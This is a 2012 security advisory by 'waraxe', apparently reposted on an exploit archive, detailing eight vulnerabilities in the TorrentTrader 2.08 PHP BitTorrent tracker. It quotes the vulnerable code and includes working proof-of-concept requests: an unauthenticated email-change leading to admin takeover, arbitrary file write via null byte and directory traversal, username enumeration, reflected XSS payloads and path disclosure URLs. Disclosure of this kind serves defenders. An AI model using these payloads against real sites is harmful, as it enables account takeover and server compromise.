发布 2012-09-19 漏洞条目

torrenttrader 2.08 – Multiple Vulnerabilities

Exploit Source

[waraxe-2012-SA#089] - Multiple Vulnerabilities in TorrentTrader 2.08

===============================================================================

Author: Janek Vind "waraxe"

Date: 17. September 2012

Location: Estonia, Tartu

Web: http://www.waraxe.us/advisory-89.html

Description of vulnerable software:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TorrentTrader is a feature packed and highly customisable PHP/MySQL Based BitTorrent

tracker. Featuring integrated forums, and plenty of administration options.

http://sourceforge.net/projects/torrenttrader/

http://www.torrenttrader.org/topic/14292-torrenttrader-v208-released/

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1. Unauthorized Email Change in "account-ce.php"

###############################################################################

Reason: authorization bypass

Attack vector: user submitted GET parameters "id", "secret" and "email"

Preconditions: none

Result: attacker can change any user's email, including admin's

-----------------[ source code start ]---------------------------------

$id = (int) $_GET["id"];

$md5 = $_GET["secret"];

$email = $_GET["email"];

$res = SQL_Query_exec("SELECT `editsecret` FROM `users`

WHERE `enabled` = 'yes' AND `status` = 'confirmed' AND `id` = '$id'");

$row = mysql_fetch_assoc($res);

$sec = $row["editsecret"];

if ($md5 != md5($sec . $email . $sec))

show_error_msg(T_("ERROR"), T_("NOTHING_FOUND"), 1);

SQL_Query_exec("UPDATE `users` SET `editsecret` = '', `email` = ".sqlesc($email)."

WHERE `id` = '$id' AND `editsecret` = " . sqlesc($row["editsecret"]));

-----------------[ source code end ]-----------------------------------

Tests:

Let's find md5 hash of email "test@test.com", which is "b642b4217b34b1e8d3bd915fc65c4452".

Target user ID is 1. We issue GET request:

http://localhost/torrenttrader208/account-ce.php?id=1&

secret=b642b4217b34b1e8d3bd915fc65c4452&email=test@test.com

Quick look to the database confirms, that email address of user with ID 1

has been changed indeed.

Next logical move for attacker is password recovery request:

http://localhost/torrenttrader208/account-recover.php

After admin account takeover attacker is able to use next vulnerability,

described below, which may allow php remote code execution.

###############################################################################

2. Arbitrary file creation / directory traversal in "nfo-edit.php"

###############################################################################

Reason: failure to properly sanitize user submitted data

Attack vector: user submitted POST parameters "id" and "content"

Preconditions:

1. nfo-file editing privileges needed (usually admin)

2. PHP must be < 5.3.4 for null-byte attacks to work

Result:

1. attacker is able to write remote files with arbitrary content

2. directory traversal vulnerability allows bypassing path restrictions

-----------------[ source code start ]---------------------------------

$id = (int)$_GET["id"]?$_GET["id"]:$_POST["id"];

$do = $_POST["do"];

$nfo = $site_config["nfo_dir"] . "/$id.nfo";

if ($do == "update") {

if (file_put_contents($nfo, $_POST["content"]))

{

write_log("NFO ($id) was updated by $CURUSER[username].");

-----------------[ source code end ]-----------------------------------

Test: first we need html form like the one below:

<form action="http://localhost/torrenttrader208/nfo-edit.php"

method="post" enctype="multipart/form-data">

</form></center></body></html>

We should see "NFO Updated" as response and can confirm new file existence:

http://localhost/torrenttrader208/uploads/test.php.nfo

By using null byte ("\0") it's possible writing files with arbitrary extension.

Finally, it is possible to make use of directory traversal strings "../"

and write files to arbitrary location in remote server.

###############################################################################

3. Username Enumeration Vulnerability in "account-login.php"

###############################################################################

Reason: different error messages for invalid username and invalid password

Attack vector: user submitted POST parameters "username" and "password"

Preconditions: none

Result: attacker can enumerate valid usernames

-----------------[ source code start ]---------------------------------

if (!empty($_POST["username"]) && !empty($_POST["password"])) {

$res = SQL_Query_exec("SELECT id, password, secret, status, enabled FROM users

WHERE username = " . sqlesc($_POST["username"]) . "");

$row = mysql_fetch_array($res);

if (!$row)

$message = T_("USERNAME_INCORRECT");

elseif ($row["status"] == "pending")

$message = T_("ACCOUNT_PENDING");

elseif ($row["password"] != $password)

$message = T_("PASSWORD_INCORRECT");

-----------------[ source code end ]-----------------------------------

Tests:

Try to log in with nonexistent username:

"Username Incorrect"

Next, try valid username with incorrect password:

"Password Incorrect"

So it's obvious, that attacker is able to distinguish between valid and

invalid usernames and therefore username enumeration vulnerability exists.

###############################################################################

4. Reflected XSS in "faq.php"

###############################################################################

Preconditions: "register_globals=on"

Attack Vector: User provided parameter "faq_categ"

http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=

&faq_categ[0][items][0][question]=aa&faq_categ[0][items][0][answer]=bb

&faq_categ[0][items][0][flag]=1

http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=test&faq_categ[0][flag]=1

&faq_categ[0][items][0][question]=<script>alert(String.fromCharCode(88,83,83))</script>

&faq_categ[0][items][0][answer]=bb&faq_categ[0][items][0][flag]=1

http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=test&faq_categ[0][flag]=1

&faq_categ[0][items][0][question]=test&faq_categ[0][items][0][answer]=

###############################################################################

5. Reflected XSS in "account-signup.php"

###############################################################################

Preconditions: "register_globals=on"

Attack Vector: User provided parameters "invite" and "secret"

http://localhost/torrenttrader208/account-signup.php?invite_row=1

&invite="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/torrenttrader208/account-signup.php?invite_row=1

&secret="><script>alert(String.fromCharCode(88,83,83))</script>

###############################################################################

6. Reflected XSS in "/themes/default/header.php"

###############################################################################

Preconditions: "register_globals=on"

Attack Vector: User provided parameters "title" and "site_config"

http://localhost/torrenttrader208/themes/default/header.php?

title=</title><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/torrenttrader208/themes/default/header.php?

site_config[CHARSET]="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/torrenttrader208/themes/default/header.php?

site_config[SITEURL]=--><script>alert(String.fromCharCode(88,83,83))</script>

###############################################################################

7. Reflected XSS in "/themes/NB-Clean/header.php"

###############################################################################

Preconditions: "register_globals=on"

Attack Vector: User provided parameters "title" and "site_config"

http://localhost/torrenttrader208/themes/NB-Clean/header.php?

title=</title><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/torrenttrader208/themes/NB-Clean/header.php?

site_config[CHARSET]="><script>alert(String.fromCharCode(88,83,83))</script>

http://localhost/torrenttrader208/themes/NB-Clean/header.php?

site_config[SITEURL]="><script>alert(String.fromCharCode(88,83,83))</script>

###############################################################################

8. Path Disclosure vulnerability in multiple scripts

###############################################################################

http://localhost/torrenttrader208/account-login.php?returnto[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in

C:/apache_www/torrenttrader208/account-login.php on line 72

http://localhost/torrenttrader208/themes/default/footer.php

Fatal error: Call to undefined function T_() in

C:/apache_www/torrenttrader208/themes/default/footer.php on line 26

http://localhost/torrenttrader208/themes/default/header.php

Fatal error: Call to undefined function T_() in

C:/apache_www/torrenttrader208/themes/default/header.php on line 28

http://localhost/torrenttrader208/themes/NB-Clean/footer.php

Fatal error: Call to undefined function T_() in

C:/apache_www/torrenttrader208/themes/NB-Clean/footer.php on line 22

http://localhost/torrenttrader208/faq.php?faq_categ=1

Fatal error: Cannot use string offset as an array in

C:/apache_www/torrenttrader208/faq.php on line 17

http://localhost/torrenttrader208/rss.php?cat[]

Warning: explode() expects parameter 2 to be string, array given in

C:\apache_www\torrenttrader208\rss.php on line 119

http://localhost/torrenttrader208/backend/smilies.php?action=display&form[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in

C:\apache_www\torrenttrader208\backend\smilies.php on line 50

Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com

Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html

Personal homepage: http://www.janekvind.com/

Random project: http://albumnow.com/

---------------------------------- [ EOF ] ------------------------------------

作者: waraxe
日期: 2012-09-19
类别: webapps
平台: php

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